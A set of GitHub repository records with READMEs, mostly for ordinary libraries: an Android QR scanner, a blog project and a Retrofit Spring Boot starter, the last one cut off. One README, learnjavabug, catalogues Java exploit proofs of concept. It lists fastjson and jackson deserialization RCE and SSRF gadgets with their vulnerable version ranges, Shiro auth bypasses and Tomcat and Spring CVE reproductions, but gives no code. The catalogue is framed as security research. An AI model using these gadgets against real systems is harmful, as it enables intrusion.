jenly1314/ZXingLite | 🔥 ZXing的精简极速版,优化扫码和生成二维码/条形码,内置闪光灯等功能。扫描风格支持:微信的线条样式,支付宝的网格样式。几句代码轻松拥有扫码功能 ,ZXingLite让集成更简单。(扫码识别速度快如微信) | 2018-08-09T09:27:04Z | null | # ZXingLite
![Image](app/src/main/ic_launcher-web.png)
[![Download](https://img.shields.io/badge/download-App-blue.svg)](https://raw.githubusercontent.com/jenly1314/ZXingLite/master/app/release/app-release.apk)
[![MavenCentral](https://img.shields.io/maven-central/v/com.github.jenly1314/zxing-lite)](https://repo1.maven.org/maven2/com/github/jenly1314/zxing-lite)
[![JCenter](https://img.shields.io/badge/JCenter-2.0.3-46C018.svg)](https://bintray.com/beta/#/jenly/maven/zxing-lite)
[![JitPack](https://jitpack.io/v/jenly1314/ZXingLite.svg)](https://jitpack.io/#jenly1314/ZXingLite)
[![CI](https://travis-ci.org/jenly1314/ZXingLite.svg?branch=master)](https://travis-ci.org/jenly1314/ZXingLite)
[![CircleCI](https://circleci.com/gh/jenly1314/ZXingLite.svg?style=svg)](https://circleci.com/gh/jenly1314/ZXingLite)
[![API](https://img.shields.io/badge/API-21%2B-blue.svg?style=flat)](https://android-arsenal.com/api?level=21)
[![License](https://img.shields.io/badge/license-Apche%202.0-blue.svg)](http://www.apache.org/licenses/LICENSE-2.0)
ZXingLite for Android 是ZXing的精简极速版,基于ZXing库优化扫码和生成二维码/条形码功能,扫码界面完全支持自定义;使用ZXingLite可快速实现扫码识别相关功能。
> 简单如斯,你不试试?
## Gif 展示
![Image](GIF.gif)
> 你也可以直接下载 [演示App](https://raw.githubusercontent.com/jenly1314/ZXingLite/master/app/release/app-release.apk) 体验效果
## 引入
### Gradle:
1. 在Project的 **build.gradle** 或 **setting.gradle** 中添加远程仓库
```gradle
repositories {
//...
mavenCentral()
}
```
2. 在Module的 **build.gradle** 里面添加引入依赖项
```gradle
// AndroidX 版本
implementation 'com.github.jenly1314:zxing-lite:3.1.1'
```
### 温馨提示
#### 关于ZXingLite版本与编译的SDK版本要求
> 使用 **v3.1.x** 以上版本时,要求 **compileSdkVersion >= 34**
> 使用 **v3.0.x** 以上版本时,要求 **compileSdkVersion >= 33**
> 如果 **compileSdkVersion < 33** 请使用 [**v2.x版本**](https://github.com/jenly1314/ZXingLite/tree/2.x/)
## 使用
### 版本变化说明
#### 3.x版本的变化
从 **2.x** 到 **3.x** 主要变化如下:
* 2.x版本中的 **CameraScan** 相关核心类被移除了;
> 从3.0.0版本开始改为依赖 [CameraScan](https://github.com/jenly1314/CameraScan);([CameraScan](https://github.com/jenly1314/CameraScan)是一个独立的库,单独进行维护)
* 2.x版本中的 **ViewfinderView** 被移除了;
> 从3.0.0版本开始改为依赖 [ViewfinderView](https://github.com/jenly1314/ViewfinderView);([ViewfinderView](https://github.com/jenly1314/ViewfinderView)是一个独立的库,单独进行维护)
* 2.x版本中的 **CaptureActivity** 和 **CaptureFragment** 相关基类被移除了;
> 从3.0.0版本开始改为 **BarcodeCameraActivity** 和 **BarcodeCameraFragment**
除了以上几点主要差异变化,3.x版本的整体使用方式和2.x基本类似;3.x版本在2.x版本的基础上再次进行重构,将 **CameraScan** 相关的公共基础类从 **ZXingLite** 中移除后,维护起来更方便了。
> 如果你是从 **2.x** 版本升级至 **3.x** 版本,那么你需要知道上面所说的主要差异;特别是独立出去单独维护的库,其包名都有所变化,这一点需要特别注意;请谨慎升级。
> 如果你使用的是2.x版本的话请直接[查看v2.x分支版本](https://github.com/jenly1314/ZXingLite/tree/2.x/)
#### 3.x版本的使用
3.x的实现主要是以 [CameraScan](https://github.com/jenly1314/CameraScan)作为基础库去实现具体的分析检测功能,所以你可以先去看下 [CameraScan](https://github.com/jenly1314/CameraScan)的使用说明;在了解了 [CameraScan](https://github.com/jenly1314/CameraScan)的基本使用方式后,然后再结合当前的使用说明就可以轻松的集成并使用 **ZXingLite**了。
### 主要类说明
#### 关于Analyzer的实现类
内部提供了Analyzer对应的实现,都是为快速实现扫码识别而提供的分析器。
内部提供的分析器有多个;一般情况下,你只需要知道最终实现的 [**MultiFormatAnalyzer**](zxing-lite/src/main/java/com/king/zxing/analyze/MultiFormatAnalyzer.java) 和 [**QRCodeAnalyzer**](zxing-lite/src/main/java/com/king/zxing/analyze/QRCodeAnalyzer.java) 即可:
**MultiFormatAnalyzer** 和 **QRCodeAnalyzer** 的主要区别,从名字大概就能看的出来;一个是可识别多种格式,一个是只识别二维码(具体需要支持识别哪些格式的条码,其实还要看提供的**DecodeConfig**是怎么配置的)。
> 本可以不需要 ****QRCodeAnalyzer****,之所以提供一个 **QRCodeAnalyzer** 是因为有很多需求是只需要识别二维码就行;如果你有连续扫码的需求或不知道怎么选时,推荐直接选择 **MultiFormatAnalyzer** 。
#### 关于DecodeConfig
DecodeConfig:解码配置;主要用于在扫码识别时,提供一些配置,便于扩展。通过配置可决定内置分析器的能力,从而间接的控制并简化扫码识别的流程。一般在使用 **Analyzer** 的实现类时,你可能会用到。
#### 关于DecodeFormatManager
DecodeConfig:解码格式管理器;主要将多种条码格式进行划分与归类,便于提供快捷配置。
#### 关于CodeUtils
工具类 **CodeUtils** 中主要提供;解析条形码/二维码、生成条形码/二维码相关的能力。
CodeUtils的使用示例
```Java
// 生成二维码
CodeUtils.createQRCode(content,600,logo);
// 生成条形码
CodeUtils.createBarCode(content, BarcodeFormat.CODE_128,800,200);
// 解析条形码/二维码
CodeUtils.parseCode(bitmap);
// 解析二维码
CodeUtils.parseQRCode(bitmap);
```
#### 关于BarcodeCameraScanActivity
通过继承BarcodeCameraScanActivity实现扫二维码完整示例
```java
public class QRCodeScanActivity extends BarcodeCameraScanActivity {
@Override
public void initCameraScan(@NonNull CameraScan<Result> cameraScan) {
super.initCameraScan(cameraScan);
// 根据需要设置CameraScan相关配置
cameraScan.setPlayBeep(true);
}
@Nullable
@Override
public Analyzer<Result> createAnalyzer() {
// 初始化解码配置
DecodeConfig decodeConfig = new DecodeConfig();
decodeConfig.setHints(DecodeFormatManager.QR_CODE_HINTS)//如果只有识别二维码的需求,这样设置效率会更高,不设置默认为DecodeFormatManager.DEFAULT_HINTS
.setFullAreaScan(false)//设置是否全区域识别,默认false
.setAreaRectRatio(0.8f)//设置识别区域比例,默认0.8,设置的比例最终会在预览区域裁剪基于此比例的一个矩形进行扫码识别
.setAreaRectVerticalOffset(0)//设置识别区域垂直方向偏移量,默认为0,为0表示居中,可以为负数
.setAreaRectHorizontalOffset(0);//设置识别区域水平方向偏移量,默认为0,为0表示居中,可以为负数
// BarcodeCameraScanActivity默认使用的MultiFormatAnalyzer,如果只识别二维码,这里可以改为使用QRCodeAnalyzer
return new MultiFormatAnalyzer(decodeConfig);
}
/**
* 布局ID;通过覆写此方法可以自定义布局
*
* @return 布局ID
*/
@Override
public int getLayoutId() {
return R.layout.activity_qrcode_scan;
}
@Override
public void onScanResultCallback(@NonNull AnalyzeResult<Result> result) {
// 停止分析
getCameraScan().setAnalyzeImage(false);
// 返回结果
Intent intent = new Intent();
intent.putExtra(CameraScan.SCAN_RESULT, result.getResult().getText());
setResult(Activity.RESULT_OK, intent);
finish();
}
}
```
> **BarcodeCameraScanFragment** 的使用方式与之类似。
更多使用详情,请查看[app](app)中的源码使用示例或直接查看[API帮助文档](https://jitpack.io/com/github/jenly1314/ZXingLite/latest/javadoc/)
### 其他
#### JDK版本与API脱糖
当使用ZXingLite为 **v2.3.x** 以上版本时,(即:更新zxing至v3.5.1后);如果要兼容Android 7.0 (N) 以下版本(即:minSdk<24),可通过脱糖获得 Java 8 及更高版本 API。
```gradle
compileOptions {
// Flag to enable support for the new language APIs
coreLibraryDesugaringEnabled true
// Sets Java compatibility to Java 11
targetCompatibility JavaVersion.VERSION_11
sourceCompatibility JavaVersion.VERSION_11
}
```
```gradle
dependencies {
coreLibraryDesugaring 'com.android.tools:desugar_jdk_libs:1.2.3'
}
```
## 相关推荐
#### [MLKit](https://github.com/jenly1314/MLKit) 一个强大易用的工具包。通过ML Kit您可以很轻松的实现文字识别、条码识别、图像标记、人脸检测、对象检测等功能。
#### [WeChatQRCode](https://github.com/jenly1314/WeChatQRCode) 基于OpenCV开源的微信二维码引擎移植的扫码识别库。
#### [CameraScan](https://github.com/jenly1314/CameraScan) 一个简化扫描识别流程的通用基础库。
#### [ViewfinderView](https://github.com/jenly1314/ViewfinderView) ViewfinderView一个取景视图:主要用于渲染扫描相关的动画效果。
## 版本记录
#### v3.1.1:2024-04-29
* 更新CameraScan至v1.1.1
* 更新zxing至v3.5.3
#### v3.1.0:2023-12-31
* 更新CameraScan至v1.1.0
* 更新zxing至v3.5.2
* 更新compileSdkVersion至34
* 更新Gradle至v8.0
#### v3.0.1:2023-9-13
* 更新CameraScan至v1.0.1
* 更新ViewfinderView至v1.1.0
#### v3.0.0:2023-8-23
* 将通用基础类拆分移除并进行重构,后续维护更便捷
* 移除 **CameraScan** 相关核心类,改为依赖 [CameraScan](https://github.com/jenly1314/CameraScan)
* 移除扫码取景视图 **ViewfinderView**,改为依赖 [ViewfinderView](https://github.com/jenly1314/ViewfinderView)
* 移除 **CaptureActivity** 和 **CaptureFragment**,新增 **BarcodeCameraScanActivity** 和 **BarcodeCameraScanFragment** 来替代
* 优化扫描分析过程的性能体验(优化帧数据分析过程)
#### v2.4.0:2023-4-15
* 优化CameraScan的缺省配置(CameraConfig相关配置)
* 优化ViewfinderView自定义属性(新增laserDrawableRatio)
* 优化ImageAnalyzer中YUV数据的处理
* 更新CameraX至v1.2.2
#### [查看更多版本记录](change_log.md)
## 赞赏
如果您喜欢ZXingLite,或感觉ZXingLite帮助到了您,可以点右上角“Star”支持一下,您的支持就是我的动力,谢谢 :smiley:
<p>您也可以扫描下面的二维码,请作者喝杯咖啡 :coffee:
<div>
<img src="https://jenly1314.github.io/image/page/rewardcode.png">
</div>
## 关于我
| 我的博客 | GitHub | Gitee | CSDN | 博客园 |
|:------------------------------------------------------------------------------------|:----------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------|
| <a title="我的博客" href="https://jenly1314.github.io" target="_blank">Jenly's Blog</a> | <a title="GitHub开源项目" href="https://github.com/jenly1314" target="_blank">jenly1314</a> | <a title="Gitee开源项目" href="https://gitee.com/jenly1314" target="_blank">jenly1314</a> | <a title="CSDN博客" href="http://blog.csdn.net/jenly121" target="_blank">jenly121</a> | <a title="博客园" href="https://www.cnblogs.com/jenly" target="_blank">jenly</a> |
## 联系我
| 微信公众号 | Gmail邮箱 | QQ邮箱 | QQ群 | QQ群 |
|:-------------|:---------------------------------------------------------------------------------|:----------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------|
| [Jenly666](http://weixin.qq.com/r/wzpWTuPEQL4-ract92-R) | <a title="给我发邮件" href="mailto:jenly1314@gmail.com" target="_blank">jenly1314</a> | <a title="给我发邮件" href="mailto:jenly1314@vip.qq.com" target="_blank">jenly1314</a> | <a title="点击加入QQ群" href="https://qm.qq.com/cgi-bin/qm/qr?k=6_RukjAhwjAdDHEk2G7nph-o8fBFFzZz" target="_blank">20867961</a> | <a title="点击加入QQ群" href="https://qm.qq.com/cgi-bin/qm/qr?k=Z9pobM8bzAW7tM_8xC31W8IcbIl0A-zT" target="_blank">64020761</a> |
<div>
<img src="https://jenly1314.github.io/image/page/footer.png">
</div>
| 0 |
shuleisanshi/myblog | I think myblog is a very good project, which is divided into front-end module and back-end module. I have used the most popular SSM architecture to design the main frame and added many functions to my personal blog, such as: authority, comment, reply and recommend. these functions can also be used in the enterprise. We can practice this project to get more skills about SSM Structure. | 2019-10-31T06:13:35Z | null | ### Project name:
myblog
### Introduction:
I think myblog is a very good project, which is divided into front-end module and back-end module. I have used the most popular SSM architecture to design the main frame and added many functions to my personal blog, such as: authority, comment, reply and recommend. these functions can also be used in the enterprise. We can practice this project to get more skills about SSM Structure.
I bought a Tencent cloud server and deployed my project on the server. You can visit my website and show your suggestions.
### Structure:
SSM+layui
### Skills:
MySQL, javascript, jQuery, ajax, redis, Linux, Tencent Cloud
### Function:
User registration and login
Custom paging display prompt information
Set permission for articles
Comment and reply
Tip if you like the article
Classify and tag different articles
Cloud serve
### Author:
shulei
Front-end display
| 0 |
in28minutes/devops-master-class | Devops Tutorial for Beginners - Learn Docker, Kubernetes, Terraform, Ansible, Jenkins and Azure Devops | 2020-01-20T03:46:30Z | null | null | 1 |
threedr3am/learnjavabug | Java安全相关的漏洞和技术demo,原生Java、Fastjson、Jackson、Hessian2、XML反序列化漏洞利用和Spring、Dubbo、Shiro、CAS、Tomcat、RMI、Nexus等框架\中间件\功能的exploits以及Java Security Manager绕过、Dubbo-Hessian2安全加固等等实践代码。 | 2018-05-04T11:42:14Z | null | *本项目仅用于安全研究,禁止使用本项目发起非法攻击,造成的后果使用者负责*
这是一个个人用于复现、公开一些感兴趣、或者影响稍大的漏洞的项目,没有多少技术含量,权当个人技术笔记。
---
### fastjson
该模块主要记录一些fastjson的利用gadget,不过很多gadget并没有记录在案。
##### RCE相关
package:com.threedr3am.bug.fastjson.rce
1. com.threedr3am.bug.fastjson.rce.FastjsonSerialize(TemplatesImpl) 利用条件:fastjson <= 1.2.24 + Feature.SupportNonPublicField
2. com.threedr3am.bug.fastjson.rce.NoNeedAutoTypePoc 利用条件:fastjson < 1.2.48 不需要任何配置,默认配置通杀RCE
3. com.threedr3am.bug.fastjson.rce.HikariConfigPoc(HikariConfig) 利用条件:fastjson <= 1.2.59 RCE,需要开启AutoType
4. com.threedr3am.bug.fastjson.rce.CommonsProxyPoc(SessionBeanProvider) 利用条件:fastjson <= 1.2.61 RCE,需要开启AutoType
5. com.threedr3am.bug.fastjson.rce.JndiConverterPoc(JndiConverter) 利用条件:fastjson <= 1.2.62 RCE,需要开启AutoType
6. com.threedr3am.bug.fastjson.rce.HadoopHikariPoc(HikariConfig) 利用条件:fastjson <= 1.2.62 RCE,需要开启AutoType
7. com.threedr3am.bug.fastjson.rce.IbatisSqlmapPoc(JtaTransactionConfig) 利用条件:fastjson <= 1.2.62 RCE,需要开启AutoType
8. com.threedr3am.bug.fastjson.rce.ShiroPoc(shiro-core) 利用条件:fastjson <= 1.2.66 RCE,需要开启AutoType
...省略若干
##### SSRF相关
package:com.threedr3am.bug.fastjson.ssrf
1. com.threedr3am.bug.fastjson.ssrf.ApacheCxfSSRFPoc(WadlGenerator) 利用条件:fastjson <= 1.2.66 SSRF,需要开启AutoType
2. com.threedr3am.bug.fastjson.ssrf.ApacheCxfSSRFPoc2(SchemaHandler) 利用条件:fastjson <= 1.2.66 SSRF,需要开启AutoType
3. com.threedr3am.bug.fastjson.ssrf.CommonsJellySSRFPoc(Embedded) 利用条件:fastjson <= 1.2.66 SSRF,需要开启AutoType
4. com.threedr3am.bug.fastjson.ssrf.JREJeditorPaneSSRFPoc(JEditorPane) 利用条件:fastjson <= 1.2.66 SSRF,需要开启AutoType
...省略若干
##### DNS域名解析相关
package:com.threedr3am.bug.fastjson.dns
##### Dos拒绝服务相关
package:com.threedr3am.bug.fastjson.dos
##### leak信息泄露相关
package:com.threedr3am.bug.fastjson.leak
---
### jackson
##### RCE相关
package:com.threedr3am.bug.jackson.rce
1. com.threedr3am.bug.jackson.rce.AnterosPoc
2. com.threedr3am.bug.jackson.rce.EhcacheJndi
3. com.threedr3am.bug.jackson.rce.H2Rce
4. com.threedr3am.bug.jackson.rce.HadoopHikariConfigPoc
5. com.threedr3am.bug.jackson.rce.HikariConfigPoc
6. com.threedr3am.bug.jackson.rce.IbatisSqlmapPoc
7. com.threedr3am.bug.jackson.rce.JndiConverterPoc
8. com.threedr3am.bug.jackson.rce.LogbackJndi
...省略若干
##### SSRF
package:com.threedr3am.bug.jackson.ssrf
...省略若干
---
### dubbo
该模块主要记录dubbo相关的漏洞利用、安全加固等
1. com.threedr3am.bug.dubbo.RomePoc 利用条件:存在rome依赖
2. com.threedr3am.bug.dubbo.ResinPoc 利用条件:存在com.caucho:quercus依赖
3. com.threedr3am.bug.dubbo.XBeanPoc 利用条件:存在org.apache.xbean:xbean-naming依赖
4. com.threedr3am.bug.dubbo.SpringAbstractBeanFactoryPointcutAdvisorPoc 利用条件:存在org.springframework:spring-aop依赖
##### dubbo-hessian2-safe-reinforcement
dubbo hessian2安全加固demo,使用黑名单方式禁止部分gadget
---
### padding-oracle-cbc
用Java实现padding-oracle-cbc攻击的一些实验代码记录
1. com.threedr3am.bug.paddingoraclecbc.PaddingOracle ```padding oracle java实现(多组密文实现)```
2. com.threedr3am.bug.paddingoraclecbc.PaddingOracleCBC ```padding oracle cbc java实现(单组 <= 16bytes 密文实现)```
3. com.threedr3am.bug.paddingoraclecbc.PaddingOracleCBC2 ```padding oracle cbc java实现(多组密文实现)```
4. com.threedr3am.bug.paddingoraclecbc.PaddingOracleCBCForShiro ```shiro padding oracle cbc java实现```
---
### xxe
各种XML解析组件导致XXE的复现,以及其fix代码记录
---
### commons-collections
好几年前学习反序列化的时候瞎写的东西
---
### security-manager
java security manager的一些绕过实验代码
---
### rmi
rmi相关服务,以及其利用等
---
### tomcat
tomcat相关漏洞
#### ajp-bug
tomcat ajp协议相关漏洞
1. com.threedr3am.bug.tomcat.ajp 任意文件读取和jsp渲染RCE CVE-2020-1938
---
### cas
cas相关漏洞
1. cas-4.1.x~4.1.6 反序列化漏洞(利用默认密钥)
2. cas-4.1.7~4.2.x 反序列化漏洞(需要知道加密key和签名key)
---
### spring
一些Spring漏洞的复现实验代码记录
1. spring-actuator(jolokia、snake-yaml、h2-hikariCP、eureka)
2. spring-cloud-config-server(CVE-2019-3799)
3. spring-cloud-config-server(CVE-2020-5405)
4. spring-cloud-config-server(CVE-2020-5410)
5. spring-session-data-redis RCE
### apache-poi
apache-poi excel解析漏洞相关记录
### feature
一些攻击的数据特征,本来想法是看看正则等能不能都检测到
### java-compile
java动态编译、操纵字节码的实现代码
### nexus
maven nexus的一些RCE、Auth Bypass漏洞的复现记录
### ShardingSphere-UI
ShardingSphere-UI的一些漏洞记录
1. CVE-2020-1947 (YAML反序列化RCE漏洞)
### shiro
记录了最近shiro被发现的一些认证bypass漏洞
1. bypass shiro <= 1.4.1
2. bypass shiro <= 1.5.2 (CVE-2020-1957)
3. bypass shiro <= 1.5.3 (CVE-2020-11989) | 0 |
LianjiaTech/retrofit-spring-boot-starter | A spring-boot starter for retrofit, supports rapid integration and feature enhancements.(适用于retrofit的spring-boot-starter,支持快速集成和功能增强) | 2020-04-04T01:44:57Z | null |
## retrofit-spring-boot-starter
[![License](https://img.shields.io/badge/license-Apache%202-4EB1BA.svg)](https://www.apache.org/licenses/LICENSE-2.0.html)
[![Build Status](https://api.travis-ci.com/LianjiaTech/retrofit-spring-boot-starter.svg?branch=master)](https://travis-ci.com/github/LianjiaTech/retrofit-spring-boot-starter)
[![Maven central](https://maven-badges.herokuapp.com/maven-central/com.github.lianjiatech/retrofit-spring-boot-starter/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.github.lianjiatech/retrofit-spring-boot-starter)
[![GitHub release](https://img.shields.io/github/v/release/lianjiatech/retrofit-spring-boot-starter.svg)](https://github.com/LianjiaTech/retrofit-spring-boot-starter/releases)
[![License](https://img.shields.io/badge/JDK-1.8+-4EB1BA.svg)](https://docs.oracle.com/javase/8/docs/index.html)
[![License](https://img.shields.io/badge/SpringBoot-1.5+-green.svg)](https://docs.spring.io/spring-boot/docs/2.1.5.RELEASE/reference/htmlsingle/)
[![Author](https://img.shields.io/badge/Author-chentianming-orange.svg?style=flat-square)](https://juejin.im/user/3562073404738584/posts)
[![QQ-Group](https://img.shields.io/badge/QQ%E7%BE%A4-806714302-orange.svg?style=flat-square) ](https://img.ljcdn.com/hc-picture/6302d742-ebc8-4649-95cf-62ccf57a1add)
[English Document](https://github.com/LianjiaTech/retrofit-spring-boot-starter/blob/master/README_EN.md)
**适用于retrofit的spring-boot-starter,支持快速集成和功能增强**。
1. *Spring Boot 3.x 项目,请使用retrofit-spring-boot-starter 3.x*。
2. *Spring Boot 1.x/2.x 项目,请使用retrofit-spring-boot-starter 2.x*。
> 🚀项目持续优化迭代,欢迎大家提ISSUE和PR!麻烦大家能给一颗star✨,您的star是我们持续更新的动力!
github项目地址:[https://github.com/LianjiaTech/retrofit-spring-boot-starter](https://github.com/LianjiaTech/retrofit-spring-boot-starter)
gitee项目地址:[https://gitee.com/lianjiatech/retrofit-spring-boot-starter](https://gitee.com/lianjiatech/retrofit-spring-boot-starter)
示例demo:[https://github.com/ismart-yuxi/retrofit-spring-boot-demo](https://github.com/ismart-yuxi/retrofit-spring-boot-demo)
> 感谢`@ismart-yuxi`为本项目写的示例demo
<!--more-->
## 功能特性
- [x] [自定义OkHttpClient](#自定义OkHttpClient)
- [x] [注解式拦截器](#注解式拦截器)
- [x] [日志打印](#日志打印)
- [x] [请求重试](#请求重试)
- [x] [熔断降级](#熔断降级)
- [x] [错误解码器](#错误解码器)
- [x] [微服务之间的HTTP调用](#微服务之间的HTTP调用)
- [x] [全局拦截器](#全局拦截器)
- [x] [调用适配器](#调用适配器)
- [x] [数据转换器](#数据转码器)
- [x] [元注解](#元注解)
- [x] [其他功能示例](#其他功能示例)
## 快速开始
### 引入依赖
```xml
<dependency>
<groupId>com.github.lianjiatech</groupId>
<artifactId>retrofit-spring-boot-starter</artifactId>
<version>3.0.3</version>
</dependency>
```
**如果启动失败,大概率是依赖冲突,烦请引入或者排除相关依赖**。
### 定义HTTP接口
**接口必须使用`@RetrofitClient`注解标记**!HTTP相关注解可参考官方文档:[retrofit官方文档](https://square.github.io/retrofit/)。
```java
@RetrofitClient(baseUrl = "${test.baseUrl}")
public interface UserService {
/**
* 根据id查询用户姓名
*/
@POST("getName")
String getName(@Query("id") Long id);
}
```
> 注意:**方法请求路径慎用`/`开头**。对于`Retrofit`而言,如果`baseUrl=http://localhost:8080/api/test/`,方法请求路径如果是`person`,则该方法完整的请求路径是:`http://localhost:8080/api/test/person`。而方法请求路径如果是`/person`,则该方法完整的请求路径是:`http://localhost:8080/person`。
### 注入使用
**将接口注入到其它Service中即可使用!**
```java
@Service
public class BusinessService {
@Autowired
private UserService userService;
public void doBusiness() {
// call userService
}
}
```
**默认情况下,自动使用`SpringBoot`扫描路径进行`RetrofitClient`注册**。你也可以在配置类加上`@RetrofitScan`手工指定扫描路径。
## HTTP请求相关注解
`HTTP`请求相关注解,全部使用了`Retrofit`原生注解,以下是一个简单说明:
| 注解分类|支持的注解 |
|------------|-----------|
|请求方式|`@GET` `@HEAD` `@POST` `@PUT` `@DELETE` `@OPTIONS` `@HTTP`|
|请求头|`@Header` `@HeaderMap` `@Headers`|
|Query参数|`@Query` `@QueryMap` `@QueryName`|
|path参数|`@Path`|
|form-encoded参数|`@Field` `@FieldMap` `@FormUrlEncoded`|
| 请求体 |`@Body`|
|文件上传|`@Multipart` `@Part` `@PartMap`|
|url参数|`@Url`|
> 详细信息可参考官方文档:[retrofit官方文档](https://square.github.io/retrofit/)
## 配置属性
组件支持了多个可配置的属性,用来应对不同的业务场景,具体可支持的配置属性及默认值如下:
**注意:应用只需要配置要更改的配置项**!
```yaml
retrofit:
# 全局转换器工厂
global-converter-factories:
- com.github.lianjiatech.retrofit.spring.boot.core.BasicTypeConverterFactory
- retrofit2.converter.jackson.JacksonConverterFactory
# 全局调用适配器工厂(组件扩展的调用适配器工厂已经内置,这里请勿重复配置)
global-call-adapter-factories:
# 全局日志打印配置
global-log:
# 启用日志打印
enable: true
# 全局日志打印级别
log-level: info
# 全局日志打印策略
log-strategy: basic
# 是否聚合打印请求日志
aggregate: true
# 全局重试配置
global-retry:
# 是否启用全局重试
enable: false
# 全局重试间隔时间
interval-ms: 100
# 全局最大重试次数
max-retries: 2
# 全局重试规则
retry-rules:
- response_status_not_2xx
- occur_io_exception
# 全局超时时间配置
global-timeout:
# 全局读取超时时间
read-timeout-ms: 10000
# 全局写入超时时间
write-timeout-ms: 10000
# 全局连接超时时间
connect-timeout-ms: 10000
# 全局完整调用超时时间
call-timeout-ms: 0
# 熔断降级配置
degrade:
# 熔断降级类型。默认none,表示不启用熔断降级
degrade-type: none
# 全局sentinel降级配置
global-sentinel-degrade:
# 是否开启
enable: false
# 各降级策略对应的阈值。平均响应时间(ms),异常比例(0-1),异常数量(1-N)
count: 1000
# 熔断时长,单位为 s
time-window: 5
# 降级策略(0:平均响应时间;1:异常比例;2:异常数量)
grade: 0
# 全局resilience4j降级配置
global-resilience4j-degrade:
# 是否开启
enable: false
# 根据该名称从#{@link CircuitBreakerConfigRegistry}获取CircuitBreakerConfig,作为全局熔断配置
circuit-breaker-config-name: defaultCircuitBreakerConfig
# 自动设置PathMathInterceptor的scope为prototype
auto-set-prototype-scope-for-path-math-interceptor: true
```
## 高级功能
### 超时时间配置
如果仅仅需要修改`OkHttpClient`的超时时间,可以通过`@RetrofitClient`相关字段修改,或者全局超时配置修改。
### 自定义OkHttpClient
如果需要修改`OkHttpClient`其它配置,可以通过自定义`OkHttpClient`来实现,步骤如下:
**实现`SourceOkHttpClientRegistrar`接口,调用`SourceOkHttpClientRegistry#register()`方法注册`OkHttpClient`**
```java
@Component
public class CustomOkHttpClientRegistrar implements SourceOkHttpClientRegistrar {
@Override
public void register(SourceOkHttpClientRegistry registry) {
// 注册customOkHttpClient,超时时间设置为1s
registry.register("customOkHttpClient", new OkHttpClient.Builder()
.connectTimeout(Duration.ofSeconds(1))
.writeTimeout(Duration.ofSeconds(1))
.readTimeout(Duration.ofSeconds(1))
.addInterceptor(chain -> chain.proceed(chain.request()))
.build());
}
}
```
**通过`@RetrofitClient.sourceOkHttpClient`指定当前接口要使用的`OkHttpClient`**
```java
@RetrofitClient(baseUrl = "${test.baseUrl}", sourceOkHttpClient = "customOkHttpClient")
public interface CustomOkHttpUserService {
/**
* 根据id查询用户信息
*/
@GET("getUser")
User getUser(@Query("id") Long id);
}
```
> 注意:组件不会直接使用指定的`OkHttpClient`,而是基于该`OkHttpClient`创建一个新的。
### 注解式拦截器
组件提供了**注解式拦截器**,支持基于url路径匹配拦截,使用的步骤如下:
1. 继承`BasePathMatchInterceptor`
2. 使用`@Intercept`注解指定要使用的拦截器
> 如果需要使用多个拦截器,在接口上标注多个`@Intercept`注解即可。
#### 继承`BasePathMatchInterceptor`编写拦截处理器
```java
@Component
public class PathMatchInterceptor extends BasePathMatchInterceptor {
@Override
protected Response doIntercept(Chain chain) throws IOException {
Response response = chain.proceed(chain.request());
// response的Header加上path.match
return response.newBuilder().header("path.match", "true").build();
}
}
```
默认情况下,**组件会自动将`BasePathMatchInterceptor`的`scope`设置为`prototype`**。
可通过`retrofit.auto-set-prototype-scope-for-path-math-interceptor=false`关闭该功能。关闭之后,需要手动将`scope`设置为`prototype`。
```java
@Component
@Scope("prototype")
public class PathMatchInterceptor extends BasePathMatchInterceptor {
}
```
#### 接口上使用`@Intercept`进行标注
```java
@RetrofitClient(baseUrl = "${test.baseUrl}")
@Intercept(handler = PathMatchInterceptor.class, include = {"/api/user/**"}, exclude = "/api/user/getUser")
// @Intercept() 如果需要使用多个路径匹配拦截器,继续添加@Intercept即可
public interface InterceptorUserService {
/**
* 根据id查询用户姓名
*/
@POST("getName")
Response<String> getName(@Query("id") Long id);
/**
* 根据id查询用户信息
*/
@GET("getUser")
Response<User> getUser(@Query("id") Long id);
}
```
上面的`@Intercept`配置表示:拦截`InterceptorUserService`接口下`/api/user/**`路径下(排除`/api/user/getUser`)的请求,拦截处理器使用`PathMatchInterceptor`。
### 自定义拦截注解
有的时候,我们需要在"拦截注解"动态传入一些参数,然后在拦截的时候使用这些参数。 这时候,我们可以使用"自定义拦截注解",步骤如下:
1. 自定义注解。必须使用`@InterceptMark`标记,并且注解中必须包括`include、exclude、handler`字段。
2. 继承`BasePathMatchInterceptor`编写拦截处理器
3. 接口上使用自定义注解
例如,我们需要"在请求头里面动态加入`accessKeyId`、`accessKeySecret`签名信息才能再发起HTTP请求",这时候可以自定义`@Sign`注解来实现。
#### 自定义`@Sign`注解
```java
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
@Documented
@InterceptMark
public @interface Sign {
String accessKeyId();
String accessKeySecret();
String[] include() default {"/**"};
String[] exclude() default {};
Class<? extends BasePathMatchInterceptor> handler() default SignInterceptor.class;
}
```
在`@Sign`注解中指定了使用的拦截器是`SignInterceptor`。
#### 实现`SignInterceptor`
```java
@Component
@Setter
public class SignInterceptor extends BasePathMatchInterceptor {
private String accessKeyId;
private String accessKeySecret;
@Override
public Response doIntercept(Chain chain) throws IOException {
Request request = chain.request();
Request newReq = request.newBuilder()
.addHeader("accessKeyId", accessKeyId)
.addHeader("accessKeySecret", accessKeySecret)
.build();
Response response = chain.proceed(newReq);
return response.newBuilder().addHeader("accessKeyId", accessKeyId)
.addHeader("accessKeySecret", accessKeySecret).build();
}
}
```
> 注意:`accessKeyId`和`accessKeySecret`字段必须提供`setter`方法。
拦截器的`accessKeyId`和`accessKeySecret`字段值会依据`@Sign`注解的`accessKeyId()`和`accessKeySecret()`值自动注入,如果`@Sign`指定的是占位符形式的字符串,则会取配置属性值进行注入。
#### 接口上使用`@Sign`
```java
@RetrofitClient(baseUrl = "${test.baseUrl}")
@Sign(accessKeyId = "${test.accessKeyId}", accessKeySecret = "${test.accessKeySecret}", include = "/api/user/getAll")
public interface InterceptorUserService {
/**
* 查询所有用户信息
*/
@GET("getAll")
Response<List<User>> getAll();
}
```
### 日志打印
组件支持支持全局日志打印和声明式日志打印。
#### 全局日志打印
默认情况下,全局日志打印是开启的,默认配置如下:
```yaml
retrofit:
# 全局日志打印配置
global-log:
# 启用日志打印
enable: true
# 全局日志打印级别
